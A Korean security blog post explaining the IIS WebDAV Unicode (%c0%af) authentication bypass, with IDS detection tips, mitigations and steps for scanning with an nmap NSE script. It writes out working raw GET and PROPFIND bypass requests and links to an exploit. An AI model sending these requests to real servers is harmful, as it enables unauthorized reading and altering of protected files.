이메일을 적으시면 보안관련 소식을 받을수 있습니다.
이메일:













작성자: 미남닷컴

편집자:





얼마 전 마이크로소프트 인터넷정보서비스(IIS) WebDAV 취약점이 나왔습니다.

http://seclists.org/fulldisclosure/2009/May/att-0134/IIS_Advisory_pdf
http://milw0rm.org/exploits/8704

이 문서를 보면 취약점에 대해 나왔습니다.



Microsoft의 Web Server는 이 취약점을 가집니다.
IIS 5.0 , 5.1, 6.0이 이 취약점을 가집니다.


유니코드로 '/' 이것은 (%c0%af) 입니다.
이 문자를 사용하여 WebDAV를 사용하는 IIS WebServer의 암호화된 디렉터리를 우회하여 접근 할 수 있습니다.


예로

GET /  %c0%af/protected/protected.zip HTTP/1.1
         Translate: f
         Connection: close
         Host: servername

GET /prot%c0%afected/protected.zip HTTP/1.1
         Translate: f
         Connection: close
         Host: servername

다음과 같은 HTTP 헤더가 있을경우 우선
"Translate: f" 이 키워드가 헤더에 존재할 경우 WebDAV가 받아서 처리하게 됩니다.
유니코드는 WebDAV 요청에서 삭제 됩니다.

문제는 보안체크 이후에 유니코드가 삭제되면서 디렉터리에 접근하게 되는것입니다.



WebDAV에서 사용되는 요청함수를 사용한 예에서도 마찬가지 입니다.


PROPFIND /protec%c0%afted/ HTTP/1.1
        Host: servername
        User-Agent: neo/0.12.2
        Connection: TE
        TE: trailers
        Depth: 1
        Content-Length: 288
        Content-Type: application/xml
        <?xml version="1.0" encoding="utf-8"?>
        <propfind xmlns="DAV:"><prop>
        <getcontentlength xmlns="DAV:"/>
        <getlastmodified xmlns="DAV:"/>
        <executable xmlns="http://apache.org/dav/props/"/>
        <resourcetype xmlns="DAV:"/>
        <checked-in xmlns="DAV:"/>
        <checked-out xmlns="DAV:"/>
        </prop></propfind>


IIS는 패스워드를 묻지않고 요청을 처리하게 됩니다.


그래서 결과적으로 이 취약점을 이용하면 해당 디렉터리에 파일을 만들 수 있고 접근하고 고칠 수 있게됩니다.


공격유형은 Translate: f 를 이용한
 

OPTIONS GET HEAD POST PUT DELETE TRACE CONNECT

함수들이겠지요..

또한

WebDAV 함수인

PROPFIND PROPPATCH MKCOL COPY MOVE LOCK UNLOCK

이것들도 공격 유형이 되겠습니다.



IDS입장에서 보았을 때
단지 %c0%af만을 탐지해서는 안됩니다.
일반 ASCII로 표현할 수 없는 범위의 모든 문자를 검사해야하고요
각 옵션별로 Translate: f 를 사용하는지 봐야하겠습니다.
물론 보호된 디렉터리를 접근하는 행위를 탐지해야겠지요
.



해킹 동영상은 http://vimeo.com/4750408
이곳에서 볼 수 있습니다.


해결책은 취약점이 적용되는 IIS 버전에서는 WebDAV를 사용하지 않는 것 이겠지요.
요청을 proxy에서 한번걸러 유니코드를 제거하는 방법도 있겠지요.



지금부터는 스캐닝 툴입니다.


http://isc.sans.org/

에 올라온 nmap을 이용한 스캐닝 방법입니다.



우선 nmap을 받아 설치합니다.
윈도우에서는 몇 라이브러리 지원이 안되서 리눅스에서 진행합니다.
centos 5.2에서 진행하죵.

root 계정으로.

 

$ svn co --username guest --password "" svn://svn.insecure.org/nmap/
$ cd nmap
$ ./configure
$ make
$ make install

 해서 nmap을 깐 뒤

http://nmap.org/svn/scripts/http-iis-webdav-vuln.nse 이곳에서 script를 받습니다. 

$ cd /usr/local/share/nmap/scripts

$ wget http://nmap.org/svn/scripts/http-iis-webdav-vuln.nse

 

다음으로 스캔을 시작합니다.
예로 

$ nmap -n -PN -p80 --script=http-iis-webdav-vuln 122.122.122.122

 에러가 날수도 있는데요.
data폴더에 folders.lst 파일이 없는 경우 입니다. 

아까 받은 namp 폴더에서 /nselib/data 안의 파일을 /usr/local/share/nmap/nselib/data로 복사하여 실행합니다.


 



테스트로 해본 결과 패스워드로 잠긴 폴더가 없네요.

lst파일에 존재하지 않을 수 도 있으니 --script-args=webdavfolder=<path> 를 지정해서 할 수 도 있습니다.


이런식으로 쿼리를 날립니다. WebDAV 함수를 이용해서요.




---------------------------------------------------------------------------------------------------
글에 오류가 있거나 수정이 필요하다고 생각 하시면 메일을 보내주세요.
If there are errors or need to be edited, send e-mail.
미남닷컴 (minamdotcom)
kimms@boanin.com
---------------------------------------------------------------------------------------------------









****************************************************************************************************

본 포스팅의 저작권은 보안인닷컴과 작성자에 있으며 상업적 이용을 배제하며 콘텐츠 이용시에는 반드시 출처와 링크를 이용해 주시기 바랍니다. 무단도용은 저작권법에 저촉을 받습니다..

****************************************************************************************************

Posted by 알 수 없는 사용자
,